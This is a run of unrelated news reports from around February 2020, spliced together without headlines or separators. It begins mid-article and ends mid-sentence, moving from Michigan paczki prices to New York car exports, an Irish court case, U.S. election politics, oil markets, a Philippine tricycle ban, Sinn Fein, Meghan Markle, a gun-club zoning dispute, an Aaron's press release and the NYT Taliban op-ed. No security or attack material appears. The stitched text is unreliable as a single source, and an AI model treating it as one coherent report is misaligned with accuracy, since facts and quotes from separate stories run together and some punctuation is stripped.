$1.99 each, $9.99 for a half dozen or $17.99 for a dozen. Cops & Donuts paczki, weighing nearly half a pound each, come in a variety of flavors, including custard with chocolate frosting, raspberry with white frosting, Holland cream powdered, lemon powdered, apple cinnamon powdered, strawberry glazed, blueberry glazed and prune with granulated sugar. Zehnders Bakery, 703 S. Main St. in Frankenmuth, has been selling paczki since earlier this month and will continue selling them through Fat Tuesday. Zehnders offers paczki in a variety of flavors, including apple, apricot, Bavarian cream, blueberry, cherry, lemon, raspberry, prune, raisin and strawberry for $1.75 each, $9.50 for half a dozen or $19.95 for a bakers dozen. Pre-order one dozen or more for a chance to win 12 months of free baked goods. The bakery is open from 7 a.m. to 8 p.m. on Fat Tuesday. Donnas Donuts, 1135 W. Bristol Road in Flint, will sell paczki from 4 a.m. to 10 p.m. on Sunday, Monday and Tuesday. They will offer powdered and plain paczki in a variety of flavors, including apple, blueberry, custard, cream, cherry, lemon, prune, raspberry, strawberry and chocolate paczki for $2 each or $24 for a dozen. Pre-ordered paczki wait to be picked up during a Fat Tuesday celebration at Krzysiak's House in Bay City, March 5, 2019.Kaytie Boomer | MLive.com file Davison Home Bakery, located at 331 N. Main St. in Davison, is taking orders now and will sell them from 5 a.m. to 6 p.m. on Monday and Tuesday. The bakery will have apple, blueberry, cherry, cream, custard, lemon, prune, raspberry and strawberry for $1.35 each, $7.75 for half a dozen or $14.25 a dozen. Oliver Ts Market, located at 1553 Hill Road in Grand Blanc, will sell paczki from 8 a.m. to 9 p.m. on Monday and Tuesday for $1.35 each or $15 a dozen. Available flavors include apple, strawberry, blueberry, raspberry, lemon cream and custard. The Brough Bakery, located at 100 Smith St. in Clio, will sell the pastries on Tuesday only from 6 a.m. to 6 p.m. Theyll have blueberry, cherry, strawberry, lemon, raspberry, Bavarian cream, cream-filled and apple for $1.50 each, $8 for half a dozen or $15 for a dozen. Free Paczki are passed around at Kryzsiak's House Restaurant, 1605 Michigan Ave. in Bay City, on Feb. 13, 2018.Jacob Hamilton | MLive.com file Related news: 13 great Paczki destinations to visit on Fat Tuesday Continuing tradition: Siblings help carry on mothers paczki legacy in Jackson Michigans Best bakery: our top ten revealed 44 must-visit bakeries in Michigan New York Several times a month, ships loaded with used cars leave ports around New York, bound for sale in the Caribbean, West Africa and the Middle East. It is a bustling business that starts with car dealerships and involves auction companies, exporters, freight carriers and shipping lines. Tens of thousands of cars make their way overseas every year through this secondhand trade, which rarely gets much notice. But the industry has suddenly ground to a halt after becoming an unexpected target in President Donald Trump's crackdown on states that hamper efforts to deport immigrants in the country illegally. As part of a raft of restrictions announced this month, the Department of Homeland Security said vehicles with New York state titles would face delays before they could be exported. The shift came at the same time as a change that got much wider attention: The federal government also began barring New York residents from trusted traveler programs, such as Global Entry. Officials tied their actions to the state's passage of the Green Light Law, which allows immigrants in the country illegally to obtain driver's licenses and blocks federal agencies from gaining access to the state's motor vehicle databases. Customs officials said they needed that access to verify vehicles' ownership. "Because of the blockage by New York, they are introducing for themselves and I'm sure they didn't think about this the consequence of much slower sales of their own vehicles," Kenneth T. Cuccinelli, the acting deputy secretary of Homeland Security, said after the change was announced on Feb. 5. In reality, Gov. Andrew Cuomo's office and people in the industry said, the car export trade has not slowed. It has stopped. Ships have been detained at port, containers unloaded and cars put back in storage. The change has hit those dealing in salvage vehicles inoperable vehicles sold for scrap as well as expensive antique and classic cars bought by overseas collectors. People hoping to ship their own vehicles out of the country as part of a move have seen their plans stymied, too. A thriving salvage vehicle industry has taken root in the New York area because of its proximity to ports including Port Newark-Elizabeth in New Jersey and large auctions that sell cars from local dealers. Tim O'Day, president of U.S. operations for Insurance Auto Auctions, a large company that is based near Chicago and processes more than 100,000 vehicles a year in New York, said the company has just recently started to assess the impact. "We have learned that the policy change is limiting and halting our buyers' ability to promptly export vehicles with New York ownership documents," he said. If the standoff continues, shipping lines specializing in exporting vehicles will probably reduce the number of calls to New York, focusing instead on ports in other states to meet demand for used cars overseas. Cuomo, who had assailed the ban on Global Entry applications as "extortion," met last week with Trump without reaching any deal. The New York attorney general has sued the federal government for what the office says is retaliatory action against the state. A spokesman for U.S. Customs and Border Protection said in a statement that the agency checks vehicle identification numbers against state DMV records to verify ownership and check for fraud. There has been a long history of theft rings exporting stolen cars from area ports. A jogger who sued after one or more galloping horses collided with him at the Curragh Racecourse has lost his High Court damages action and could face a substantial legal costs bill as a result. Mr Justice David Keane said, while Gary Turner is entitled to "every sympathy" for his injuries and the pain and suffering he has endured, the court could find no responsibility, and hence, no liability, on the part of either the Curragh Racecourse or two sisters whose family have been training horses on the Curragh for almost a century. The proximate cause of the accident, he concluded, was Mr Turner's failure "to keep a proper lookout", together with the use of earphones to listen to music, impeding "if not eliminating" his ability to hear the approach of the racehorses or the shouted warnings of their approach. It was "more than likely", had Mr Turner been taking reasonable care either by keeping a proper lookout or ensuring he could hear the sound of the approaching racehorses or the shouted warnings of their approach, "he could have avoided the accident by the simple and straightforward expedient of stopping or slowing down". While listening to headphones as a pedestrian or jogger in a public place is not in itself negligent, he was satisfied it did contribute to this accident as did Mr Turner's failure to keep a proper visual lookout. Mr Turner, a businessman of Walshestown Abbey, Athgarvan Road, Newbridge, sued over the collision at the Maddenstown gallops on the Curragh plain on the morning of Saturday September 6, 2014. The horses were said to be galloping about 40 miles per hour and the force of it was such one jockey was dismounted. Mr Turner was wearing earphones and said he heard the horses approach from his left after he had run past buildings and onto a grassy area with a palisade fence on his left but had no time to avoid them. He believed two horses hit him and he thought he was dying. He suffered a dislocated shoulder and other injuries, has been diagnosed with Post Traumatic Stress Disorder and said he is in pain constantly. He sued two related companies - the Curragh Racecourse and Curragh Racecourse Hospitality Ltd - along with two sisters, Tracey Collins and Sheena Collins, of Cunningham Lodge, The Curragh. The Curragh defendants denied claims of negligence and breach of duty, including claims of operating an unsafe system insofar as horses were permitted to ride at speed in the area. In their joint separate defence, Tracey Collins, a horse trainer, and her sister Sheena, an employee of Tracey, denied negligence and breach of duty in relation to the collision. They pleaded contributory negligence on the part of Mr Turner over allegedly running towards a designated 6.6 metre wide gap for horses in railings without checking whether there were horses galloping through and causing or permitting an emergency situation which they had no reasonable means of avoiding. In his judgment, Mr Justice Keane found the "unusual, if not unprecedented" accident occurred between 120 and 139 metres from the corner of the palisade fence and that, for several seconds before it, the jockeys of three approaching horses to Mr Turner's left were shouting warnings at him and Tracey Collins, to his left, was running towards him, waving her arms and shouting a warning. He could not accept the Curragh Racecourse could and should have averted the accident by erecting a temporary sign or signs when the gallops was in use warning "Look Left For Galloping Horses" or words to that effect. Mr Turner had said he did not look to his right or left when jogging on the Curragh plain which meant, if there was a sign, he would not have seen it, he said. The dangers inherent in crossing wide open gallops are "directly comparable" to those of visiting precipitous cliffs or the banks of rivers and streams. When Mr Turner passed the corner of the palisade fence, the racehorses would have been "plainly visible" to him on the open plain of the gallops for an initial distance greater than 750 metres away to the point of collision with them over 30 seconds later, he said. The Collins sisters were not negligent or in breach of duty in failing to ensure the horses they were training on the gallops were pulled up before Mr Turner collided with them, he held. The matter was adjourned to next week for final orders and costs. Until Wednesday night, the campaigns theory of the race seemed to be playing out, buttressed by hundreds of millions of dollars in ad spending and a message that the former mayor has the experience and tenacity to send Democrats back to the White House. While allowing that the debate had done him little good, Mr. Bloombergs advisers were less certain that it had helped others also hoping to appeal to more moderate and independent voters, like Pete Buttigieg, the former mayor of South Bend, Ind., Senator Amy Klobuchar of Minnesota and former Vice President Joseph R. Biden Jr. Some Bloomberg advisers said it was a conscious choice to largely refrain from attacking anyone besides Mr. Sanders at the debate, reasoning that the Vermont senator is on the cusp of an unstoppable breakthrough if he wins in Nevada on Saturday and has a strong finish in South Carolina a week later. We appear to be the only campaign that sees that Bernie is poised to capture the Democratic nomination on Super Tuesday, said Kevin Sheekey, Mr. Bloombergs campaign manager. Im not sure if theres a difference between seeing that too late and acquiescing. Mr. Bloombergs top strategists are among many Democrats who have invoked the 2016 Republican nominating contest as a cautionary tale. With a front-runner, Mr. Trump, whom some in the party initially found unacceptable, multiple candidates pummeled each other as they fought to position themselves as the surviving non-Trump alternative. And by the end, none were left standing as the party gradually coalesced around Mr. Trump as its nominee a scenario many swore they could never allow to happen. In Utah, Mr. Bloomberg suggested that Mr. Sanders, his hand-waving and finger-pointing rival, was running a campaign based on reckless, empty promises. Responding generally to attacks on Thursday, a Sanders spokesman, Mike Casca, said the senators opponents have thrown everything they can at him since the beginning of his campaign, to little effect. By Swati Verma BENGALURU (Reuters) - Oil prices fell about 1% on Friday on renewed concerns about crude demand being pinched by the economic impact of the coronavirus outbreak, while OPEC and allied producers appeared to be in no rush to curb output. The latest signs of infections outside the Hubei province epicenter in China spurred a selloff across financial markets, as G20 policymakers traveled to Saudi Arabia for talks on the global economy. Brent crude tumbled as more than 2% at one point before settling down 81 cents, or 1.4%, at $58.50 a barrel. U.S. crude futures settled 50 cents lower, or 0.9%, at $53.38. Both benchmarks were on track for their second consecutive weekly rise, with Brent up 2% and U.S. crude rising 2.6%, as fears over the virus' impact on demand eased earlier in the week and after a smaller-than-expected U.S. crude stock build. [EIA/S] "It's safe to say that uncertainty (surrounding coronavirus) has returned with a vengeance," said Ole Hansen, head of commodity strategy, Saxo Bank. "We have to acknowledge that we're dealing with the biggest demand shock since the financial crisis... Until we see China getting back to work, the virus will be the main focus." In the latest sign of the economic hit, U.S. business activity in the manufacturing and services sectors stalled in February. Concerns over the virus have largely overshadowed risks to supply, including the latest blockade in Libya, said Edward Moya, senior market analyst at OANDA in New York. The United Nations said ceasefire talks were back on track between forces fighting over Libya's capital. Meanwhile, Yemen's Houthis said they had struck facilities of Saudi oil giant Aramco in the Red Sea port of Yanbu. OANDA's Moya also pointed to signs the Organization of the Petroleum Exporting Countries (OPEC) was unlikely to cut supplies further. Russian Energy Minister Alexander Novak said on Thursday that producers understood it would no longer make sense to meet before a planned gathering in March. "Concerns the Saudis and Russians are struggling to agree on the appropriate response to the demand destruction the coronavirus has created," were pressuring prices, Moya said. Story continues "Markets are starting to doubt we'll see the full 600,000 bpd in additional (OPEC+) cuts." In the United States, the oil rig count, an indicator of future production, rose for a third straight week. Drillers added one oil rig this week, bringing the total count to 679, the highest since the week of Dec. 20, energy services firm Baker Hughes Co said. [RIG/U] (Additional reporting by Bozorgmehr Sharafedin in London and Aaron Sheldrick in Tokyo; Editing by Marguerita Choy and David Gregorio) A NATIONAL group of tricycle operators and drivers is calling on the Department of the Interior and Local Government (DILG) to review its order banning tricycles, pedicabs and motorized pedicabs from national highways and major roads. Ariel Lim, president of the National Confederation of Tricycle Operators and Drivers Association of the Philippines (Nactodap), said the DILG has to coordinate with local government units (LGUs) first. To ban tricycles on national highways, they should first ask the permission of local government units and not threaten their chief executives to be sanctioned for failure to form a task force, said Lim. He cited Republic Act (RA) 7160, known as the Local Government Code, which states that in the absence of alternative routes, local government units can create an ordinance allowing tricycles and pedicabs to ply national thoroughfares. RA 7160 dictates that the Sanggunian can formulate an ordinance allowing tricycles to traverse major thoroughfares such as national highways, provided that there is no other alternative route within their jurisdiction. According to Lim, tricycle operators and drivers are high tax payers in the Land Transportation Office (LTO) through the road users tax as they have around 1.7 million units of tricycles that ply all over the nation. They want us out of the highway? Why is there a lane for bicycles which do not even pay for taxes? They should have given us a lane on the outer right side on both lanes, said Lim. The group also want the DILG to explain why it did not consult them, considering that tricycle drivers and operators are directly affected by the order. These people have not gone to school. They dont aim to be rich. They just want to provide for their families, said Lim. Nactodap is asking Congress and the Senate to meet with the DILG Secretary Eduardo Ano as well as the PNP (Philippine National Police) Highway Patrol Group. Furthermore, they plan to file a temporary restraining order (TRO) and organize a nationwide strike to protest the decision of the DILG. Story continues In a separate development, officials of the Talisay City government said they have not yet implemented the ban on tricycles and pedicabs along major thoroughfares. Jonathan Tumulak, City of Talisay Traffic Operation Development Authority (CT-Toda) chief, said they couldnt implement it for now because they are still in the process of conducting consultations with the citys tricycle drivers that could be affected by the DILG order. Tumulak said that as of Friday, Feb. 21, 2020, they had already met 10 tricycle associations in the city and briefed them about the DILGs order that prohibits them from crossing the national highway and other major roads in the city. Tumulak admitted it was not easy talking to tricycle drivers because some of them are not receptive to the idea. Earlier this week, Secretary Ano issued an order to all local chief executives to strictly implement the ban on tricycles and pedicabs from crossing national highways and other major thoroughfares. He also ordered local chief executives to create their own tricycle task force and come up with a route plan for tricycles affected by the ban. Meanwhile, in Lapu-Lapu City, local officials are contemplating on implementing a color coding scheme for tricycles and pedicabs plying the citys streets. The proposed scheme would serve as a temporary solution for the City in implementing the DILGs order banning tricycles and pedicabs along major thoroughfares. In an interview, Lapu-Lapu City Mayor Junard Chan admitted there are still tricycles in the city that continue to ply the national highway as there are no other routes to other barangays. In Barangay Basak, tricycle drivers there often use M. Patalinghug Avenue, a major road in the city, in going toward the public market in Barangay Poblacion and vice versa. Chan said the color coding scheme aims to recognize tricycles driving in various routes across the city and will allow them to easily identify those who deviate from their routes. Chan said one factor that worsens the traffic situation in the city is that tricycles depart from their regular routes. For Mario Napule, head of the City Traffic Management System, the color coding scheme is being studied to help manage tricycles traveling around the city. Napule said if it is implemented strictly, tricycles will no longer be allowed to use the hatod-hatod system, or the practice of getting passengers in other routes, and will confine them to barangay roads. Napule said around 3,500 tricycles are operating in mainland Lapu-Lapu City. (USJ-R intern Mae Fhel Gom-os / FMD / FVQ) Myanmar President U Win Myint will pay a state visit to India from February 26-29 and hold talks with the top leadership here to deepen bilateral ties. The Myanmarese president is also expected to visit Agra and Bodh Gaya, following his official meetings in New Delhi. At the invitation of President Ram Nath Kovind, Myint will pay a state visit to India between February 26 to 29. He will be accompanied by the First Lady, Daw Cho Cho, the Ministry of External Affairs said in a statement. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sinn Fein members have been told Gerry Adams is a central part of the party's government formation negotiating team. In a briefing note, Mr Adams is listed along with other unelected party members Martin Lynch, Dawn Doyle, Stephen McGlade and Ken O'Connell as part of the team. The party publicly announced its negotiating team would be led by Pearse Doherty and include Eoin O Broin, Louise O'Reilly and Matt Carthy. Mr Adams attended the ard chomhairle meeting where the negotiating team was decided. However, his appointment was not publicised. "Sinn Fein has many experienced negotiators and we will draw on that experience as required," a Sinn Fein spokesperson said. A Sinn Fein source said Mr Adams has been involved in a negotiations for "most of his life" and this was the reason he is involved in the talks. Expand Close Sinn Fein leader Mary Lou McDonald. Photo: Charles McQuillan/Getty Images / Facebook Twitter Email Whatsapp Sinn Fein leader Mary Lou McDonald. Photo: Charles McQuillan/Getty Images Mr Adams sat in the Dail's visitors gallery during the vote for Taoiseach yesterday along with other party supporters. Resigned He played a low-key role during the general election campaign but has been attending party events since the vote. The controversial politician resigned as Sinn Fein leader in 2017 and did not run for the Dail in the recent election. He has been questioned by gardai and the PSNI about murders by the Provisional IRA during the Troubles. He claims he was not a member of the terrorist organisation. The Sinn Fein memo, which is signed by the party's deputy leader Pearse Doherty, also warns members to be ready for another general election. Mr Doherty said if it is not possible to form a traditional government a minority government or a confidence and supply agreement may be put in place. "If none of this is possible a second election could take place and we need to be prepared for this," he added. Mr Doherty said Sinn Fein has to "stay true to the politics and messages we fought the general election campaign on". This includes continuing to push its slogan of giving "workers and families a break". He also said the party should focus on a "small number of key issues", including seeking Irish unity, cutting rents and freezing them, building homes, restoring the pension age to 65 and taking the first 30,000 people earn out of the USC. "Our voters need to get the message from our approach and publicity around any negotiations that we are seriously committed to delivering the kind of transformative change they are looking for and that we will live by the commitments we have made," he said. Mr Doherty said the Sinn Fein ard chomhairle has "directed the negotiations team to establish whether a credible programme for government can be negotiated". "This would allow the ard chomhairle to recommend to an ard fheis whether we go into government. There will be no such initiative without ard fheis authorisation," he added. Mr Doherty has been leading negotiations for Sinn Fein and has held talks with the Social Democrats, the Green Party and Solidarity-People Before Profit. Meanwhile, Fianna Fail leader Micheal Martin launched a scathing attack on Sinn Fein leader Mary Lou McDonald during a Dail vote for the next Taoiseach. Mr Martin said he could not go into go into government with Sinn Fein because of the party's "efforts to legitimise a murderous sectarian campaign" of the Provisional IRA. "Every single time an issue arises about the behaviour of people associated with the Provisionals movement and today's Sinn Fein the response is to attack and dismiss," Mr Martin said. "Only when the evidence keeps piling up and the political pressure grows is there any movement. "Offers to meet are expressed and calls for co-operation with law enforcement are issued - but nothing ever happens." Mr Martin said the "glorifying of the Provisional IRA isn't an accident of one deputy's exuberance" in reference to Sinn Fein TD David Cullinane saying "up the 'RA" at a post- election event. He said Ms McDonald "praised Provisional IRA units" and she ends speeches with "Tiocfaidh ar la". Bitter "She knows full and well what the use of that phrase means. Popularised first by Gerry Adams, for decades it was shouted in our courts to signal a refusal to recognise this democratic republic," he added. Ms McDonald responded by saying that she "did not care" what Mr Martin thinks about her party. She said Sinn Fein lives "rent-free in Micheal Martin's narrow and bitter mind". Ms McDonald added that Mr Martin sat around the cabinet table with people who have been jailed for corruption. Donald Trump and Russia on Friday both angrily dismissed US intelligence's account that Moscow is meddling in this year's election as Democrats accused the president of betraying democracy. US intelligence chief Joseph Maguire, whom Trump replaced on Wednesday with a loyal partisan lacking direct experience in the field, warned lawmakers of Russian interference in a classified briefing last week. The US intelligence community publicly concluded that Russia intervened in 2016, including by manipulating social media, but Maguire reportedly revealed that Moscow wanted Trump to be re-elected and was meddling in the Democratic Party's primaries. Trump, who has repeatedly shown irritation at assertions that Russia helped him win the White House, denounced the latest assertions as the work of the rival party. "Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa," Trump tweeted, referring to the debacle in releasing results from the Democrats' first contest. "Hoax number 7!" In Moscow, Kremlin spokesman Dmitry Peskov said the allegations were "like the usual paranoid announcements, which unfortunately will multiply as we get closer to the election." "Of course, they have nothing to do with the truth," he said. President Vladimir Putin, however, acknowledged when he met Trump in July 2018 that he supported the populist billionaire's campaign, seeing him as friendlier to Moscow than rival Hillary Clinton. An extensive report by former FBI chief Robert Mueller found that Russia intervened to back Trump but did not conclude that the Trump campaign conspired with Moscow. Trump was later impeached in a separate scandal over holding back military aid to Ukraine, which is fighting Russian-backed separatists, to pressure the Kiev government to dig up dirt on a Democratic candidate. The Senate, led by Trump's Republican Party, acquitted him on February 6, after which the president swiftly removed officials who provided evidence against him. Former CIA director John Brennan, who served under presidents Barack Obama and George W. Bush, said the United States had entered "a full-blown national security crisis." "By trying to prevent the flow of intelligence to Congress, Trump is abetting a Russian covert operation to keep him in office for Moscow's interests, not America's," he wrote on Twitter. Democratic presidential candidate Elizabeth Warren said the 2020 election revelations showed the "enormous" challenge. "It should worry, all of us, that we now live in an America where one political party seems to think that foreign interference helps them in an election," she said at a CNN forum with voters in Nevada. Senator Chris Van Hollen denounced both Trump's appointment of a "novice" new intelligence chief and the Senate's blocking of election reform bills backed by Democrats. "Our intel agencies say Putin is interfering in our election to help Trump," he wrote on Twitter. "What's the definition of treason?" Representative Eric Swalwell, who serves on the House intelligence committee, tweeted simply: "Agent for Russia." Few Republican lawmakers immediately spoke out, although Trump's allies in the past have questioned why Russia would favor him. While Trump has spoken with admiration about Putin, his administration, staffed with more traditionally Russia-skeptic Republicans, has provided military aid to Ukraine and pushed through sanctions that hit Moscow. The New York Times, quoting anonymous sources, reported that Trump lashed out not at the purported Russian interference but at Maguire for allowing his staff to brief lawmakers -- particularly Adam Schiff, the House intelligence chief who also led the impeachment drive. While Maguire would have been obliged to leave next month as he was serving in acting capacity, Trump on Wednesday replaced him with Richard Grenell, the outspoken US ambassador to Germany. Grenell was an unusual choice for the largely behind-the-scenes job as he has no direct intelligence experience and has made waves by irritating German leaders with his prolific online commentary. A longtime media commentator, Grenell has played down Russian interference in 2016, saying that Moscow routinely conducts such operations. While evidence for the latest meddling assertions is classified, Democratic presidential frontrunner Bernie Sanders alleged at a debate Wednesday that Russia could be behind belligerent online remarks by his professed supporters that have drawn condemnation from other candidates. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Former U.S. ambassador to Ukraine Marie Yovanovitch has signed a book deal with Houghton Mifflin Harcourt, the publisher told AP on Friday. Details: The untitled memoir will detail the experiences of the career diplomat from Somalia to Kyiv before she returned to Washington, D.C. Yovanovitchs book will deliver pointed reflections on the issues confronting America today, and thoughts on how we can shore up our democracy, the publisher wrote in a press release, per AP. The book is expected to come out in the spring of 2021. Why it matters: During her closed-door deposition before House impeachment committees, Yovanovitch testified that President Trump's lawyer Rudy Giuliani led the smear campaign that resulted in her firing. Her ouster and testimony were key events leading to Trump's impeachment in the House. Meghan, Duchess of Sussex was accused of jumping ship. (Getty Images) The Duchess of Sussex has been accused of jumping ship by a womanist philosopher who says she should have stayed and fought racism in Britain. Dr Gabriella Beckles-Raymond was speaking at an event around Megxit and racism in Britain when she said Meghan and Harry had not shown leadership. Is giving two fingers to the British establishment on the way out really an act of leadership? she asked, adding: Megxit does not look like leadership to me, it looks like jumping ship. She said Meghan had found herself at the epicentre of a power structure and that the duchess ought to have stayed to fight. Read more: Date Prince Harry and Meghan will end royal duties confirmed Dr Beckles-Raymond said: If Meghan and Harry used their position to bring about change that would look like leadership. She also said the royal couple were finding it relatively easy to make the move to Canada in part because it is still part of the Commonwealth. She added: The Royal Family owns most of the land in this country, and racism is about land and who controls it. We need to look at what British power looks like when it exerts its power over other people. Dr Beckles-Raymond shared a stage at the event with Rachel C Boyle, the lecturer who clashed with Laurence Fox over the treatment of Meghan Duchess of Sussex on BBC Question Time, as well as Professor Anthony Reddie, the Director of the Oxford Centre for Religion and Culture and Dr William Ackah, a lecturer in Community and Voluntary Sector Studies at the University of London. Meghan and Harry will live mostly in Canada from spring. (Getty Images) Speaking about Meghan and Prince Harrys decision to step back from their royal duties Dr Ackah said: What we have seen with the whole Meghan Markle incident is that mainstream media does not get it. They want to debate her as if the lived experience of black people is something to be debated - like if Arsenal is better than Chelsea. We should not take this lying down. If institutions do not serve us they should be shut down or fined. Story continues Black people should be paying less tax, or less TV license, [because] this society is not giving us our rights. We have been paying in for 400 years. It is not that we need to change, it is society and institutions that need to change. The panel included Dr Gabriella Beckles-Raymond, Rachel C Boyle, Dr Anthony Reddie and Dr William Ackah Read more: Meghan Markle's Vogue cover inspires Forces for Change event Prof Reddie said it began at the wedding in Windsor, citing the reaction of Twittersphere he saw to Michael Currys passionate sermon. He said: I had an Anglican friend who said it was too enthusiastic. What he meant was it was too black. What Meghan is facing is just a posher version of what we face because the system was not built for us. Prince Harry and Meghan announced they would be stepping back from their roles as senior members of the royal family in January, sparking something of a royal crisis and meetings between the Queen, Prince Charles and Prince William in what was dubbed the Sandringham summit. Their decision sparked the Sandringham Summit. (Getty Images) Read more: Will losing Sussex Royal impact Harry and Meghan's brand power? The couple have been allowed to keep their duchy in Sussex but will not be able to use the HRH titles and are unlikely to use the word royal in their branding. The pair are planning to launch a new charitable foundation later this year. They will formally step back from duties from 1 April, losing their office in Buckingham Palace, and are likely to spend most of their time in North America. GRANBY The Zoning Board of Appeals in a 4-0 vote on Wednesday denied the Granby Bow and Gun Clubs appeal of a cease-and-desist order that prohibits long-range shooting at the 85 Chicopee St. recreational facility. The board said the club engaged in substantial expansion of a 500 yard range that violates zoning bylaws. The board previously denied the clubs appeal of a zoning enforcement decision that banned shooting at 1,000 yards. Town officials have worked to limit long-range shooting at the club following noise complaints from Granby and Belchertown residents dating back more than a year. Attorneys representing the gun club filed a lawsuit at state Land Court in Boston on this matter two years ago. That case is still pending. They are now considering filing a second lawsuit involving the Zoning Boards decision Wednesday. In an interview on Thursday, Worcester attorney Justin Raphaelson said the towns action is wrong. He said, the gun club, established in 1947 prior to the enactment of municipal zoning regulations, enjoys grandfather rights. But the Zoning Board considers use of shooting ranges longer than 500 yards an expansion, meaning they are not grandfathered and are subject to zoning ordinances. The club did not get town approval to extend the ranges. The club is disappointed by the ZBA appeal decision, Raphaelson said. We plan to pursue all legal avenues to overturn this decision. ATLANTA, Feb. 21, 2020 /PRNewswire/ -- Aaron's, Inc. (NYSE: AAN), a leading omnichannel provider of lease-purchase solutions, today announced that the Federal Trade Commission (the "FTC") has approved for public comment a proposed consent agreement regarding future contingent purchases and sales of customer lease agreements with other rent-to-own companies. As previously disclosed, the Company reached agreement with FTC staff on the terms of the proposed settlement in August 2019. With the FTC's announcement today, the proposed consent agreement is now subject to a 30-day public comment period after which the FTC will decide whether to make the proposed agreement final. In connection with the FTC's decision to approve the proposed consent agreement for public comment, Aaron's released the following statement: The proposed consent agreement allows us to focus on our business. Under the agreement, there are no fines, penalties, admission of wrongdoing, fault or liability on the part of the Company. This agreement is not expected to affect our go-forward business or operations. About Aaron's, Inc. Headquartered in Atlanta, Aaron's, Inc. (NYSE: AAN), is a leading omnichannel provider of lease-purchase solutions. Aaron's Business engages in the sales and lease ownership and specialty retailing of furniture, consumer electronics, home appliances and accessories through its approximately 1,500 company-operated and franchised stores in 47 states and Canada as well as its e-commerce platform, Aarons.com. In addition, Progressive Leasing, a virtual lease-to-own company, provides lease-purchase solutions through over 20,000 retail locations in 46 states. Vive Financial (formerly Dent-A-Med, Inc.), provides a variety of second-look credit products that are originated through federally insured banks. For more information, visit Aarons.com, ProgLeasing.com, and Vivecard.com. Contact: Aaron's, Inc. Michael P. Dickerson Vice President, Corporate Communications & Investor Relations 678-402-3590 [email protected] SOURCE Aaron's, Inc. By Express News Service BENGALURU: While the women are going strong with their protest against the Citizenship Amendment Act, National Register of Citizen and National Population Register, near Bilal Bagh, the venue has also become a space to conduct tuition and art classes for children.We give tuition to children who join their parents after school hours. There are art and craft activities for them. We also teaching them the Constitution, the Preamble, educating them about freedom fighters like Bhagat Singh, teaching them patriotic songs, and raising awareness on plastic usage, manual scavenging and more, said Saqib, one of the protestors at the venue. A documentary on NRC in Assam, and the movie Rang De Basanti, were screened at the protest. A small library has been set up with several childrens books.We conduct storytelling activities, games for children, and help them with their homework and studies, said Imran, another protestor. As many as seven people are on a hunger strike who said that it would be an indefinite one till Chief Minister B S Yediyurappa comes to the venue and addresses the issue. The womens protest has been going on continuously for the last 13 days in Bilal Bagh, with the demand of scrapping NRC, CAA and NPR. The New York Times is being criticized for allowing Sirajuddin Haqqani (pictured), the deputy leader of the Taliban to write an op-ed The New York Times has been criticized for publishing an op-ed written by the deputy leader of the Taliban who is one of the world's most wanted militants. In the article, headlined 'What We, the Taliban, Want,' Sirajuddin Haqqani claimed that 'we are about to sign an agreement with the United States and we are fully committed to carrying out its every single provision, in letter and spirit'. The article represents the highest-level statement from the group after months of negotiations with the US, and comes as they are believed to be days away from signing an agreement that would see America begin to withdraw troops from its longest war. But the article was immediately met with criticism, including from the Times' Afghanistan correspondent Mujib Mashal, who blasted the newspaper on Twitter. 'The piece by Siraj Haqqani in @nytopinion - which's independent of our news operations & judgment - omits the most fundamental fact: that Siraj is no Taliban peace-maker as he paints himself, that he's behind some of most ruthless attacks of this war with many civilian lives lost,' Mashal wrote. Mashal said it's even worse knowing 'what our news reporting has on Siraj Haqqani, and what the Haqqani Network is accused of over the years'. He then gave samples of the Times' reporting on Haqqani. Others also criticized the Times over the opinion piece. In the article, headlined 'What We, the Taliban, Want,' Haqqani claimed that 'we are about to sign an agreement with the United States and we are fully committed to carrying out its every single provision, in letter and spirit' But the article was immediately met with criticism, including from the Times' Afghanistan correspondent Mujib Mashal who blasted the newspaper on Twitter 'Appalled @nytimes has given leader of the Haqqani network and leader in Taliban room in their editorial pages to espouse his views. Haqqani network is responsible for 1000s of Americans killed in Afghanistan and provides shelter to al Qaeda operatives... they sheltered Bin Laden,' Congressman Jim Banks tweeted. Another user wrote: 'Remember: NYT wouldnt take an oped from John McCain, but theyll take it from commanders of the Taliban, Hamas and others.' 'OH MY GOD! 2 HOURS AGO The New York Times published an opinion piece by Deputy Leader of the Taliban, presenting him as a leader with a genuine cause. Hes a globally designated terrorist with the US government offering a $10M for his arrest!!!' Imam of Peace tweeted. The Washington Examiner's Beckett Adams shared: ' is it weird that the New York Times published an op-ed by a Taliban officer?' Adams then said one of Haqqani's quotes felts 'like a leaflet flyover'. It is believed to be the first time that Haqqani - who doubles as head of the Haqqani network, a US-designated terror group that is one of the most dangerous factions fighting Afghan and US-led NATO forces in Afghanistan - has given such a lengthy statement in English. Previously he has communicated mainly through rare audio messages, usually in Pashto. The most recent one on a Taliban website was dated June 2017. In the article, Haqqani said the 'long war has exacted a terrible cost from everyone'. The leader of a group known for masterminding some of the most deadly attacks during the war and the frequent use of suicide bombers also says he is 'convinced the killing and the maiming must stop'. Others also criticized the New York Times over the opinion piece One user shared screenshots from the FBI which shows Haqqani as one of America's most wanted This image gives details about the Haqqani and what he's wanted for, including the January 2008 attach on a hotel in Kabul, Afghanistan, that killed six people, including an American citizen 'For more than four decades, precious Afghan lives have been lost every day. Everyone has lost somebody they loved. Everyone is tired of war. 'We did not choose our war with the foreign coalition led by the United States. We were forced to defend ourselves. 'The withdrawal of foreign forces has been our first and foremost demand. That we today stand at the threshold of a peace agreement with the United States is no small milestone,' he wrote. Haqqani repeats many Taliban talking points from the negotiations, including how women would have rights 'granted by Islam' - the problem being, as many observers have pointed out, the group's repressive interpretation of the faith. The Taliban banned women from education and work and only let them leave their homes in the company of a male relative. Overnight, women disappeared behind the all-enveloping burqa, their activities restricted to their homes. The Taliban have been conducting direct talks with the US since 2018 on a deal which would see Washington begin pulling troops out in return for security guarantees from the militants and a promise to begin peace talks with the government in Kabul. Congressman Jim Banks said he is 'appalled' that the Times 'has given leader of the Haqqani network and leader in Taliban room in their editorial pages to espouse his views' The agreement could come as soon as February 29, though no date has yet been made public. But he also admitted that the group is 'aware of the concerns and questions' over any potential Taliban return to power. Many Afghans have voiced anger at being sidelined from the talks, and resistance to returning to life under the militants' repressive regime - though many others simply want security and for the violence to end. 'My response to such concerns is that it will depend on a consensus among Afghans,' Haqqani writes, adding that the Taliban was ready to 